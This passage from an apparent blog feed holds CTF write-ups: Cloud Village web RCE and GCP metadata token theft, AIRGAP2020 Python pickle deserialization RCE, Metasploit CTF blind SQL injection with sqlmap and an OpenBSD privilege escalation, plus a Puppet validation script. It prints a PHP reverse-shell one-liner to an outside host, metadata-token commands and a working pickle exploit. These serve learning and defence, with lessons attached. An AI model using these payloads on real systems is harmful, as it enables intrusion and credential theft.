200 0B http://imageapp.cloudvillagectf.co:80/vendor/composer/ClassLoader.php
200 0B http://imageapp.cloudvillagectf.co:80/vendor/composer/autoload_static.php
200 0B http://imageapp.cloudvillagectf.co:80/vendor/composer/autoload_real.php
200 3KB http://imageapp.cloudvillagectf.co:80/vendor/composer/LICENSE
200 15KB http://imageapp.cloudvillagectf.co:80/vendor/composer/installed.json
$ curl -vs 'http://imageapp.cloudvillagectf.co:80/composer.json'
...
{
"require": {
"vlucas/phpdotenv": "^2.4",
"nesbot/carbon": "^2.36"
},
"autoload": {
"psr-4": {
"Src\\": "src/"
}
}
}
$ curl -vs 'http://imageapp.cloudvillagectf.co/.env'
...
SECRET=vjht123jltccf
# There are some other interesting finds in /downloads/
$ python ../dirsearch/dirsearch.py -e html -u http://imageapp.cloudvillagectf.co/downloads/
...
[18:50:46] 200 - 0B - /downloads/shell.php
...
</pre>
<p>shell.php did allow for RCE, and I was able to get the source for index.php and all the files it used. That revealed the JWT creation and validation code, which ended up not being needed (though JWTs could be forged with the secret). There was a standard user with name dave and password dave. There was an admin user with more interesting creds. The admin user, when signed in was shown a text field that accepted a url and would download the file to the /downloads/ directory.</p>
<pre class="literal-block">
$ http://imageapp.cloudvillagectf.co/downloads/shell.php?cmd=echo+123
returns 123
$ curl -vs 'http://imageapp.cloudvillagectf.co/downloads/shell.php?cmd=cat+../index.php' -o
index.php
...
if ($pass==="dave"){
$_SESSION["user"]=$user;
$role="user";
$jwt=generate_jwt($user,$role);
header("Location: ./home.php");
setcookie("authtoken",$jwt);
}elseif($user==="mockingbird"){
if ($pass==="MockingBird12@"){
$_SESSION["user"]=$user;
$role="admin";
$jwt=generate_jwt($user,$role);
header("Location: ./home.php");
setcookie("authtoken",$jwt);
...
</pre>
<p>I got to this challenge later after several other teams had solved it. By that time, continuing to use the shell.php program, I could see that there were tons of <a class="reference external" href="https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/">reverse shells</a>. I setup my own using the php one liner from the <a class="reference external" href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">reverse shell cheat sheet</a>, and then I was able to peruse the system.</p>
<pre class="literal-block">
# on my host (it has public IP 34.1.2.3, and allows inbound TCP connections to port 29617):
$ nc -l 29617
# on the system, we need to run:
$ php -r '$sock=fsockopen("34.1.2.3",29617);exec("/bin/sh -i <&3 >&3 2>&3");'
</pre>
<p>It turned out to be a GCP instance. I didn't find the flag on the file sytem. Then I turned my attention to the metadata API. I knew this is a common exploit on AWS instance, and assumed there would be something similar on GCP instance. Sure enough there is a way to get a GCP token from the metadata API, and then I was able to use that to list storage buckets, the objects in the one that was accessible, and ultimately read the object that had the flag in it.</p>
<pre class="literal-block">
$ find . -type f -exec grep -l 'FLAG-{' {} \;
# sad panda...
$ curl -s 169.254.169.254/0.1/meta-data/zone ; echo
projects/1015935179454/zones/us-central1-a
$ curl -s -H "Metadata-Flavor: Google" 169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
{"access_token":"ya29.c.Kn_XB5wYJr1CRQQ7-bRx-YJHqHwmDQriuIsAi6mljYJorkw_xSkr2PuRcu3ZNhsbk3sGMMP8SkqVo3HKKHmJxMpOKae7Gh8Z_Da0jdFQjY-<redacted>","expires_in":2409,"token_type":"Bearer"}
$ export TOKEN='ya29.c.Kn_XB5wYJr1CRQQ7-bRx-YJHqHwmDQriuIsAi6mljYJorkw_xSkr2PuRcu3ZNhsbk3sGMMP8SkqVo3HKKHmJxMpOKae7Gh8Z_Da0jdFQjY-<redacted>'
$ curl -s -H "Authorization: Bearer ${TOKEN}" https://storage.googleapis.com/storage/v1/b?project=1015935179454
{
"kind": "storage#buckets",
"items": [
{
"kind": "storage#bucket",
"selfLink": "https://www.googleapis.com/storage/v1/b/secretstorage",
"id": "secretstorage",
"name": "secretstorage",
"projectNumber": "1015935179454",
"metageneration": "1",
"location": "US",
"storageClass": "STANDARD",
"etag": "CAE=",
"defaultEventBasedHold": false,
"timeCreated": "2020-08-02T12:33:10.078Z",
"updated": "2020-08-02T12:33:10.078Z",
"iamConfiguration": {
"bucketPolicyOnly": {
"enabled": false
},
"uniformBucketLevelAccess": {
"enabled": false
}
},
"locationType": "multi-region"
}
]
}
$ curl -s -H "Authorization: Bearer ${TOKEN}" https://storage.googleapis.com/storage/v1/b/secretstorage/o
{
"kind": "storage#objects",
"items": [
{
"kind": "storage#object",
"id": "secretstorage/flag.txt/1596371607035421",
"selfLink": "https://www.googleapis.com/storage/v1/b/secretstorage/o/flag.txt",
"mediaLink": "https://storage.googleapis.com/download/storage/v1/b/secretstorage/o/flag.txt?generation=1596371607035421&alt=media",
"name": "flag.txt",
"bucket": "secretstorage",
"generation": "1596371607035421",
"metageneration": "1",
"contentType": "text/plain",
"storageClass": "STANDARD",
"size": "39",
"md5Hash": "JCfY6fBZsGmfX9m/OmnW7g==",
"crc32c": "pYfXvg==",
"etag": "CJ28xNTD/OoCEAE=",
"timeCreated": "2020-08-02T12:33:27.035Z",
"updated": "2020-08-02T12:33:27.035Z",
"timeStorageClassUpdated": "2020-08-02T12:33:27.035Z"
}
]
}
$ curl -s -H "Authorization: Bearer ${TOKEN}" https://storage.googleapis.com/storage/v1/b/secretstorage/o/flag.txt
{
"kind": "storage#object",
"id": "secretstorage/flag.txt/1596371607035421",
"selfLink": "https://www.googleapis.com/storage/v1/b/secretstorage/o/flag.txt",
"mediaLink": "https://storage.googleapis.com/download/storage/v1/b/secretstorage/o/flag.txt?generation=1596371607035421&alt=media",
"name": "flag.txt",
"bucket": "secretstorage",
"generation": "1596371607035421",
"metageneration": "1",
"contentType": "text/plain",
"storageClass": "STANDARD",
"size": "39",
"md5Hash": "JCfY6fBZsGmfX9m/OmnW7g==",
"crc32c": "pYfXvg==",
"etag": "CJ28xNTD/OoCEAE=",
"timeCreated": "2020-08-02T12:33:27.035Z",
"updated": "2020-08-02T12:33:27.035Z",
"timeStorageClassUpdated": "2020-08-02T12:33:27.035Z"
}
$ curl -s -H "Authorization: Bearer ${TOKEN}" 'https://storage.googleapis.com/download/storage/v1/b/secretstorage/o/flag.txt?generation=1596371607035421&alt=media'
FLAG-{cU3XThbIgqt7heW1fV1C6LyhyrWiJJsr}
</pre>
<div class="section" id="id9">
<h3>Lessons</h3>
<ul class="simple">
<li>Don't deploy development files to production hosts.</li>
<li>Don't allow users to download configuration files, especially if they contain secrets. Use a secrets manager, or at least make the files unreadable/unfetchable by HTTP requests.</li>
<li>The JWT signing secret was not very strong for this service. That was the least of its issues in this particular case, however it should be a strong secret values so it cannot be cracked easily.</li>
<li>This application also rolled its own JWT signing and validation... that's not advisable. In this case, it avoided common JWT issues like alg=none, but there might have been more subtle issues.</li>
<li>Definitely defintely defintely don't download arbitrary urls that users can specify, and then execute those files or allow users to execute them. That's how all kinds of horrible things can happen. I was amazed at the number of reverse shells and other random software that had been downloaded. I was also impressed that nobody had setup a crypo miner on that instance...</li>
</ul>
</div>
</div>
AIRGAP2020 CTF 2020 write up2020-05-03T00:00:00-07:002020-05-03T00:00:00-07:00tvdtag:tvd.dev,2020-05-03:/airgap2020-ctf-writeup.html<p>This weekend I worked on the <a class="reference external" href="https://airgapp.in/">#AIRGAP2020 CTF</a> with the <a class="reference external" href="https://twitter.com/CTF_Circle">CTF_Circle team</a>. As a group we finished <a class="reference external" href="https://twitter.com/CTF_Circle/status/1256740013171027968">1st overall</a>!</p>
<p>This post walks through one flag, which shows why python pickle should not be used with user submitted data.</p>
<div class="section" id="gerkinz">
<h2>gerkinz</h2>
<p>The challenge was called gerkinz and was hosted at <a class="reference external" href="http://ctf.airgapp.in:5000/">http://ctf …</a></p></div><p>This weekend I worked on the <a class="reference external" href="https://airgapp.in/">#AIRGAP2020 CTF</a> with the <a class="reference external" href="https://twitter.com/CTF_Circle">CTF_Circle team</a>. As a group we finished <a class="reference external" href="https://twitter.com/CTF_Circle/status/1256740013171027968">1st overall</a>!</p>
<p>This post walks through one flag, which shows why python pickle should not be used with user submitted data.</p>
<div class="section" id="gerkinz">
<h2>gerkinz</h2>
<p>The challenge was called gerkinz and was hosted at <a class="reference external" href="http://ctf.airgapp.in:5000/">http://ctf.airgapp.in:5000/</a>. Visiting that site shows a login form with a login text form. Submitting any username loads a new page with that username.</p>
<img alt="" class="align-center" src="/images/airgap2020-ctf-gerkinz-demo.gif" />
<p>Looking at what's happening, we can see there is a form that does a <tt class="docutils literal">POST /login</tt> with body of <tt class="docutils literal"><span class="pre">user=<inputted</span> name></tt>. It's also worth noting that the web server is using python and werkzeug (this is important later).</p>
<pre class="literal-block">
$ curl -vs 'http://ctf.airgapp.in:5000/'
...
< Server: Werkzeug/1.0.1 Python/3.8.2
...
<form action="/login" method="post">
<input type="text" name="user" />
<input type="submit" value="login" />
</form>
</pre>
<p>The response from <tt class="docutils literal">POST /login</tt> is a 302 Found response that redirects back to the home page. It also sets a cookie.</p>
<pre class="literal-block">
$ curl -vs -X POST 'http://ctf.airgapp.in:5000/login' -d'user=i_am_admin'
...
< HTTP/1.0 302 FOUND
...
< Location: http://ctf.airgapp.in:5000/
< Set-Cookie: user=gASVQgAAAAAAAAB9lCiMBG5hbWWUjAppX2FtX2FkbWlulIwJbGFzdGxvZ2lulIwaMjAyMC0wNS0wM1QxOTowNzowMS4xNjc4NziUdS4=; Path=/
...
</pre>
<p>The cookie appears to be base64 encoded and based on the form we hypothesize that the home page is reading that cookie to populate the user name. To confirm that, we decode the cookie:</p>
<pre class="literal-block">
$ echo 'gASVQgAAAAAAAAB9lCiMBG5hbWWUjAppX2FtX2FkbWlulIwJbGFzdGxvZ2lulIwaMjAyMC0wNS0wM1QxOTowNzowMS4xNjc4NziUdS4=' | base64 -d
B}(name
i_am_admin lastlogin2020-05-03T19:07:01.167878u.
</pre>
<p>Doing this in python shows there are several characters hidden by the terminal:</p>
<pre class="literal-block">
>>> import base64
>>> decoded = base64.b64decode('gASVQgAAAAAAAAB9lCiMBG5hbWWUjAppX2FtX2FkbWlulIwJbGFzdGxvZ2lulIwaMjAyMC0wNS0wM1QxOTowNzowMS4xNjc4NziUdS4=')
>>> decoded
b'\x80\x04\x95B\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c\ni_am_admin\x94\x8c\tlastlogin\x94\x8c\x1a2020-05-03T19:07:01.167878\x94u.'
</pre>
<p>We took a guess that this was the pickle serialization format (this is a ctf, after all) and that proved correct! The cookie is a dictionary with keys for name and lastlogin:</p>
<pre class="literal-block">
>>> import pickle
>>> unpickled = pickle.loads(decoded)
>>> unpickled
{'name': 'i_am_admin', 'lastlogin': '2020-05-03T19:07:01.167878'}
>>> type(unpickled)
<class 'dict'>
</pre>
<p>The <a class="reference external" href="https://docs.python.org/3/library/pickle.html">python pickle documentation</a> warns about accepting pickles from untrusted sources.</p>
<img alt="" class="align-center" src="/images/python-pickle-warning.png" />
<p>To execute arbitrary code from an object we pickle, we use the <a class="reference external" href="https://docs.python.org/3/library/pickle.html#object.__reduce__">__reduce__() method</a>. It takes no arguments and can return a tuple that has a callable and arguments used to create the initial version of the object that was pickled. We use that to return <a class="reference external" href="https://docs.python.org/3/library/subprocess.html#subprocess.check_output">subprocess.check_output</a>, which runs whatever command we give as an argument and returns stdout as bytes.</p>
<p>This is the python code we ended up with for creating a malicious cookie and then sending it to the server. The pickled cookie works by setting the value of 'name' in the cookie dictionary to the output of 'cat flag.txt'. Then when the home page is sent back to the user, it will say 'welcome <the flag>!'. Make sure to install the <tt class="docutils literal">requests</tt> library before running.</p>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">pickle</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="k">class</span> <span class="nc">PickleRce</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="k">return</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">check_output</span><span class="p">,</span> <span class="p">([</span><span class="s1">'/bin/cat'</span><span class="p">,</span> <span class="s1">'flag.txt'</span><span class="p">],)</span>
<span class="k">def</span> <span class="nf">cli</span><span class="p">():</span>
<span class="n">pickled_dict</span> <span class="o">=</span> <span class="n">pickle</span><span class="o">.</span><span class="n">dumps</span><span class="p">({</span>
<span class="s1">'name'</span><span class="p">:</span> <span class="n">PickleRce</span><span class="p">(),</span>
<span class="s1">'lastlogin'</span><span class="p">:</span> <span class="s1">'2020-05-02T18:32:56.238336'</span><span class="p">,</span>
<span class="p">})</span>
<span class="n">base64_it</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">pickled_dict</span><span class="p">)</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'http://ctf.airgapp.in:5000/'</span><span class="p">,</span> <span class="n">cookies</span><span class="o">=</span><span class="p">{</span><span class="s1">'user'</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">base64_it</span><span class="p">,</span> <span class="s1">'utf8'</span><span class="p">)})</span>
<span class="nb">print</span><span class="p">(</span><span class="n">resp</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">cli</span><span class="p">()</span>
</pre></div>
<p>Running this code outputs the html for the home page with the flag:</p>
<pre class="literal-block">
...
<h1>welcome b'thug{...}'!</h1>
...
</pre>
<p>We got lucky and guessed that the flag was in a flag.txt in the working directory for the web server—that's a common pattern for CTFs. If that had not been the case, we could have used other shell commands to investigate the file system, running processes, scan the network, check environmnent variables, and things like that. We did try to get a reverse shell on the box, but that didn't work (our guess is the egress rules for that system prevented outbound network traffic).</p>
</div>
<div class="section" id="lessons">
<h2>Lessons</h2>
<ol class="arabic simple">
<li>Don't use pickle for serialization of untrusted user submitted data. If storing these data in a cookie was important, keeping it simple and setting individual string cookies for each value would be safer than serializing the dictionary.</li>
<li>Working with teammates on CTFs is a great way to learn!</li>
</ol>
</div>
Metasploit community CTF 2020 write up2020-02-05T00:00:00-08:002020-02-05T00:00:00-08:00tvdtag:tvd.dev,2020-02-05:/metasploit-2020-writeup.html<p>This past weekend I worked on the <a class="reference external" href="https://blog.rapid7.com/2020/01/15/announcing-the-2020-metasploit-community-ctf/">Metasploit community CTF</a> with the <a class="reference external" href="https://twitter.com/CTF_Circle">CTF_Circle team</a>. As a group we finished 9th overall! The rest of this post includes a write up of three flags the team captured (out of the seven total). Capturing all three of these flags was a collaborative …</p><p>This past weekend I worked on the <a class="reference external" href="https://blog.rapid7.com/2020/01/15/announcing-the-2020-metasploit-community-ctf/">Metasploit community CTF</a> with the <a class="reference external" href="https://twitter.com/CTF_Circle">CTF_Circle team</a>. As a group we finished 9th overall! The rest of this post includes a write up of three flags the team captured (out of the seven total). Capturing all three of these flags was a collaborative team effort, which is one of the highlights for me of working with CTF_Circle.</p>
<a class="reference external image-reference" href="https://twitter.com/CTF_Circle/status/1224382463599767552"><img alt="" class="align-center" src="/images/metasploit-2020-tweet.png" style="width: 75%;" /></a>
<div class="section" id="background">
<h2>Background</h2>
<p>This CTF (<a class="reference external" href="https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security">capture the flag</a>) provided teams with two EC2 instances: a Kali Linux jump box and a target box. The target box ran several services that hid PNG images of playing cards that were the flags. Exploiting vulnerabilites, or in some cases sniffing traffic, enabled us to find the flags. Once we found a flag, we submitted the md5 checksum to get points.</p>
</div>
<div class="section" id="queen-of-hearts">
<h2>Queen of Hearts</h2>
<p>Using nmap, we found that port 8000 on the target box was running a WordPress site about Giraffes:</p>
<pre class="literal-block">
$ nmap -A target
...
8000/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-generator: WordPress 5.3.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Lovely Giraffes &#8211; Everything about giraffes&#8230;
|_http-trane-info: Problem with XML parsing of /evox/about
</pre>
<p>The WordPress site has WP_SITEURL set to <tt class="docutils literal"><span class="pre">http://127.0.0.1:8000</span></tt>, which meant that all the subresources (e.g. scripts, style sheets, images) did not load and that links were broken. Adding a rewrite rule in Burp Suite to rewrite these urls back to <tt class="docutils literal"><span class="pre">http://target:8000</span></tt> fixed the links.</p>
<p>Visiting the site showed a Giraffe gallery site. Poking around there was a single post with a comment that referenced the password.</p>
<pre class="literal-block">
$ curl target:8000/?page_id=2 | grep comments
... target:8000/?feed=comments-rss2 ...
$ curl target:8000/?feed=comments-rss2 | grep password # refers to melman
> Hey! I forgot to say, your account &#8220;melman&#8221; is still valid with the the same password, your last name.
</pre>
<p>Googling melman leads to the Madagascar movie character: <a class="reference external" href="https://en.wikipedia.org/wiki/List_of_Madagascar_(franchise)_characters#Melman">Melman Mankiewicz III</a>. So the WordPress username and password are: melman/mankiewicz. These can be used at <tt class="docutils literal"><span class="pre">http://target:8000/wp-admin</span></tt> to sign in. The melman user did not have permission to upload plugins. The Nextgen Gallery was installed, version 3.2.10, and it has a <a class="reference external" href="https://wpvulndb.com/vulnerabilities/9816">blind SQL injection vulnerability</a>!</p>
<pre class="literal-block">
$ curl target:8000/ | grep wp-content/plugins
<link rel='stylesheet' id='nextgen_widgets_style-css' href='http://127.0.0.1:8000/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/widget/static/widgets.css?ver=3.2.10' type='text/css' media='all' />
</pre>
<p>Exploiting the SQLi vulnerability required creating a new post, attaching a nextgen gallery, and then sorting the images in the gallery, which triggered a POST request to the backend that has the SQLi vulnerability.</p>
<pre class="literal-block">
POST /index.php?photocrati_ajax=1 HTTP/1.1
...
Cookie: wordpress_test_cookie=WP+Cookie+check;...
action=get_displayed_gallery_entities&limit=5000&offset=0&nonce=2900d93354&displayed_gallery%5Bsource%5D=galleries&displayed_gallery%5Bcontainer_ids%5D%5B%5D=2&displayed_gallery%5Bdisplay_type%5D=photocrati-nextgen_basic_thumbnails&displayed_gallery%5Bslug%5D=&displayed_gallery%5Border_by%5D=img&displayed_gallery%5Border_direction%5D=ASC&displayed_gallery%5Breturns%5D=included&displayed_gallery%5Bmaximum_entity_count%5D=500&displayed_gallery%5B__defaults_set%5D=true
</pre>
<p>The <tt class="docutils literal">displayed_gallery%5Border_by%5D=img</tt> post parameter is exploitable as a <a class="reference external" href="https://owasp.org/www-community/attacks/Blind_SQL_Injection">blind SQL injection</a>. Using <a class="reference external" href="http://sqlmap.org/">sqlmap</a> we can use the blind injection to find data in the database. We set <tt class="docutils literal"><span class="pre">displayed_gallery%5Border_by%5D=%INJECT</span> HERE%</tt> in the request body given to sqlmap and otherwise copy+pasted the raw request from burp. This is the command we ran to enumerate databases (we know wordpress uses mysql) and tables in the database server.</p>
<pre class="literal-block">
$ sqlmap -r req.txt --dbms=mysql --level=5 --risk=3 --dump --threads=10 --hex --technique=BEUQ --tamper=between,randomcase,space2comment --dbs --tables
</pre>
<p>That showed there was a database called <tt class="docutils literal">flag_card</tt> (in addition to the <tt class="docutils literal">wordpress</tt> database) with a table called <tt class="docutils literal">card</tt>. Using sqlmap we can dump that table, which showed that there was a value in the <tt class="docutils literal">image</tt> column that was >90k long and it started calculating the value.</p>
<pre class="literal-block">
sqlmap -r req.txt --dbms=mysql --level=5 --risk=3 --dump --threads=10 --hex --technique=BEUQ --tamper=between,randomcase,space2comment -D flag_card -T card
</pre>
<p>Using the blind SQLi it was calculating ~1 character/second, so this was going to take 25+ hours. That's when <a class="reference external" href="https://twitter.com/nemesis09/status/1224401072225161216">echo had a brilliant suggestion</a> to md5 the content in the database, then brute force the md5 sum since that is only 32 characters. We patched sqlmap to always wrap the image column in a MD5() call (please <a class="reference external" href="https://twitter.com/tvd0x2a">tweet me</a> if there is a better way to do this with sqlmap!):</p>
<pre class="literal-block">
diff --git a/lib/core/agent.py b/lib/core/agent.py
index aad9db4b0..189262695 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -595,6 +595,9 @@ class Agent(object):
Note: used primarily in dumping of custom tables
"""
+ if field == 'image':
+ return 'MD5(image)'
+
retVal = field
if conf.db and table and conf.db in table:
table = table.split(conf.db)[-1].strip('.')
</pre>
<p>Rerunning the sqlmap command with this patch, it finished very quickly and displayed the card name and md5, which we submitted!</p>
<pre class="literal-block">
Database: flag_card
Table: card
[1 entry]
+----+-----------------+----------------------------------+
| id | name | image |
+----+-----------------+----------------------------------+
| 1 | Queen of Hearts | 111b62aef6e0a5ea78fe7485fc9b3333 |
+----+-----------------+----------------------------------+
</pre>
</div>
<div class="section" id="of-diamonds">
<h2>7 of Diamonds</h2>
<p>Capturing this flag started with capturing the <a class="reference external" href="http://tinkerfairy.net/2-of-diamonds.txt">2 of Diamonds</a> flag, which was a repeat from the 2018 Metasploit community CTF. We downloaded the /etc/passwd file from the target 4.3BSD/VAX system and then ran <a class="reference external" href="https://www.openwall.com/john/">John the Ripper</a> over it to get passwords. These passwords enabled us to SSH into port 22 on the target box:</p>
<pre class="literal-block">
$ nmap -A target
...
22/tcp open ssh OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 44:88:8c:e3:81:67:0e:5c:84:2e:54:b8:8f:17:b4:48 (RSA)
| 256 08:7a:50:9d:67:c9:25:20:89:07:85:98:c0:34:9c:9f (ECDSA)
|_ 256 ad:df:2c:68:bc:12:49:75:c6:d4:05:5c:f5:d2:6b:be (ED25519)
</pre>
<p>That was an OpenBSD 6.6 system. The <tt class="docutils literal">ken</tt> user was in the wheel group and Ken's password is <a class="reference external" href="https://leahneukirchen.org/blog/archive/2019/10/ken-thompson-s-unix-password.html">Ken Thompson's Unix password</a>. Signing in as Ken, we were able to exploit <a class="reference external" href="https://www.openwall.com/lists/oss-security/2019/12/11/9">a privilege escalation</a> to gain root access to the system (signing in as any user would have worked), and after some searching found a bare git repo at <tt class="docutils literal">/root/hai</tt>. There is also <a class="reference external" href="https://www.openwall.com/lists/oss-security/2020/01/28/3">a RCE in OpenSMTPd in this version of OpenBSD</a> that would have enabled root access.</p>
<pre class="literal-block">
$ ssh ken@target # password: p/q2-q4!
$ cd exp
$ ./exp /usr/bin/chpass
# cd /root
# file hai
hai: Git bundle
</pre>
<p>We copied that bare git repo back to the jump box and then were able to generate the 7 of Diamonds by concatenating the <tt class="docutils literal"><span class="pre">/whats-this</span></tt> file from: the master branch, then the nothing-to-see-here branch, and finally from a base64 encoded blob in a commit message in the nothing-to-see-here branch. Opening just the <tt class="docutils literal"><span class="pre">/whats-this</span></tt> this file from master only showed about half of the card, so this was a fun challenge to get the other pieces!</p>
<pre class="literal-block">
$ git clone hai hai-clone
$ cd hai-clone
$ cat whats-this > 7-of-diamonds.png
$ git branch -r
origin/HEAD -> origin/master
origin/master
origin/nothing-to-see-here
$ git checkout nothing-to-see-here
$ cat whats-this >> 7-of-diamonds.png
$ git log # then scroll through the log messages to find a base64 text wall
$ git log --format=%B -n 1 7cadeef01e867da960cae432000796879b77f59a | base64 -d >> 7-of-diamonds.png
$ md5sum 7-of-diamonds.png
ca7c8f05fc082f0b2127dd0a40c80f21 7-of-diamonds.png
</pre>
<img alt="7-of-diamonds.png" src="/images/metasploit-2020-7-of-diamonds.png" />
</div>
<div class="section" id="ace-of-spades">
<h2>Ace of Spades</h2>
<p>Another file we found while searching the OpenBSD system was <tt class="docutils literal">/etc/flag</tt>, which was <tt class="docutils literal">hexdump <span class="pre">-C</span></tt> output of a PNG file:</p>
<pre class="literal-block">
$ head -1 /etc/flag
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
...
</pre>
<p>We copied that to kali as <cite>etcflag</cite> and then used this python code to remove everything except the hex.</p>
<div class="highlight"><pre><span></span><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'etcflag'</span><span class="p">)</span> <span class="k">as</span> <span class="n">fp</span><span class="p">:</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'etcflag.just_hex'</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="n">fp2</span><span class="p">:</span>
<span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fp</span><span class="o">.</span><span class="n">readlines</span><span class="p">():</span>
<span class="n">fp2</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">l</span><span class="p">[</span><span class="mi">10</span><span class="p">:</span><span class="mi">58</span><span class="p">])</span>
<span class="n">fp2</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">)</span>
</pre></div>
<p>Then we reversed the hex with xxd to get the original image and the flag!</p>
<pre class="literal-block">
$ xxd -p -r etcflag.just_hex ace-of-spades.png
$ md5sum ace-of-spades.png
eb8166c746b9f66297174e9073ce0fea ace-of-spades.png
</pre>
<img alt="ace-of-spades.png" src="/images/metasploit-2020-ace-of-spades.png" />
</div>
Better Puppet Module Development through Testing - CasitConf 20132013-04-06T14:20:00-07:002013-04-06T14:20:00-07:00tvdtag:tvd.dev,2013-04-06:/better-puppet-module-development-through-testing-casitconf-2013.html<p>I spoke about testing puppet modules at this year's <a class="reference external" href="http://casitconf.org/casitconf13/">Cascadia IT
Conference</a> in Seattle. The conference was great; I met a lot of great
people and received a lot of feedback on my presentation.</p>
<p><a class="reference external" href="/presentations/puppet-testing-cascadia-2013-03-16.pdf">Download the slides</a></p>
Quickly validate puppet manifests in a git repo.2012-09-17T22:34:00-07:002012-09-17T22:34:00-07:00tvdtag:tvd.dev,2012-09-17:/quickly-validate-puppet-manifests-in-a-git-repo.html<p>I have been bitten on more than one occasion with a forgotten curly
brace or missing comma in a puppet manifest. So, I wrote a little git
post-commit script that will validate all manifests in a repo. I have
tested it on a repo with ~60 modules and ~400 manifests …</p><p>I have been bitten on more than one occasion with a forgotten curly
brace or missing comma in a puppet manifest. So, I wrote a little git
post-commit script that will validate all manifests in a repo. I have
tested it on a repo with ~60 modules and ~400 manifests, and it only
adds a little bit of latency to committing (less than 1s on my system
with the email disabled).</p>
<p>I still like to use continuous integration via <a class="reference external" href="http://travis-ci.org/">Travis</a> or <a class="reference external" href="http://jenkins-ci.org/">Jenkins</a>
to run smoke tests, spec tests, and lint. This post-commit commit script
just provides some quick feedback for syntax errors.</p>
<div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/env ruby</span>
<span class="c1">#</span>
<span class="c1"># Parse all manifests. Send notification if errors exist.</span>
<span class="nb">require</span> <span class="s1">'puppet/face'</span>
<span class="c1"># Email sending config</span>
<span class="no">SEND_MAIL</span><span class="o">=</span><span class="kp">false</span>
<span class="no">SMTP_HOST</span><span class="o">=</span><span class="s1">'localhost'</span>
<span class="no">RECIPIENTS</span><span class="o">=</span><span class="s1">''</span>
<span class="n">busted_manifests</span> <span class="o">=</span> <span class="o">[]</span>
<span class="n">errors</span> <span class="o">=</span> <span class="o">[]</span>
<span class="c1"># Iterate through all manifests, recording which ones fail.</span>
<span class="no">Dir</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="s1">'**/{manifests,tests}/**/*.pp'</span><span class="p">)</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">manifest</span><span class="o">|</span>
<span class="n">pparse</span> <span class="o">=</span> <span class="no">Puppet</span><span class="o">::</span><span class="no">Face</span><span class="o">[</span><span class="s1">'parser'</span><span class="p">,</span> <span class="ss">:current</span><span class="o">]</span>
<span class="k">begin</span>
<span class="n">pparse</span><span class="o">.</span><span class="n">validate</span><span class="p">(</span><span class="n">manifest</span><span class="p">)</span>
<span class="k">rescue</span> <span class="no">Puppet</span><span class="o">::</span><span class="no">Error</span> <span class="o">=></span> <span class="n">e</span>
<span class="n">busted_manifests</span> <span class="o"><<</span> <span class="n">manifest</span>
<span class="n">errors</span> <span class="o"><<</span> <span class="n">e</span><span class="o">.</span><span class="n">to_s</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">busted_manifests</span><span class="o">.</span><span class="n">empty?</span>
<span class="n">subject</span> <span class="o">=</span> <span class="s2">"</span><span class="si">#{</span><span class="n">busted_manifests</span><span class="o">.</span><span class="n">length</span><span class="si">}</span><span class="s2"> busted manifests..."</span>
<span class="n">body</span> <span class="o">=</span> <span class="n">busted_manifests</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s1">', '</span><span class="p">)</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n\n</span><span class="s2">"</span> <span class="o">+</span> <span class="n">errors</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s2">"</span><span class="se">\n\n</span><span class="s2">"</span><span class="p">)</span>
<span class="nb">puts</span> <span class="n">subject</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n\n</span><span class="s2">"</span> <span class="o">+</span> <span class="n">body</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
<span class="k">if</span> <span class="no">SEND_MAIL</span>
<span class="c1"># Send some email.</span>
<span class="nb">require</span> <span class="s1">'net/smtp'</span>
<span class="nb">require</span> <span class="s1">'socket'</span>
<span class="n">sender</span> <span class="o">=</span> <span class="s2">"repo@</span><span class="si">#{</span><span class="no">Socket</span><span class="o">.</span><span class="n">gethostname</span><span class="si">}</span><span class="s2">"</span>
<span class="n">message</span> <span class="o">=</span> <span class="o"><<</span><span class="dl">EOM</span>
<span class="sh">From: #{sender}</span>
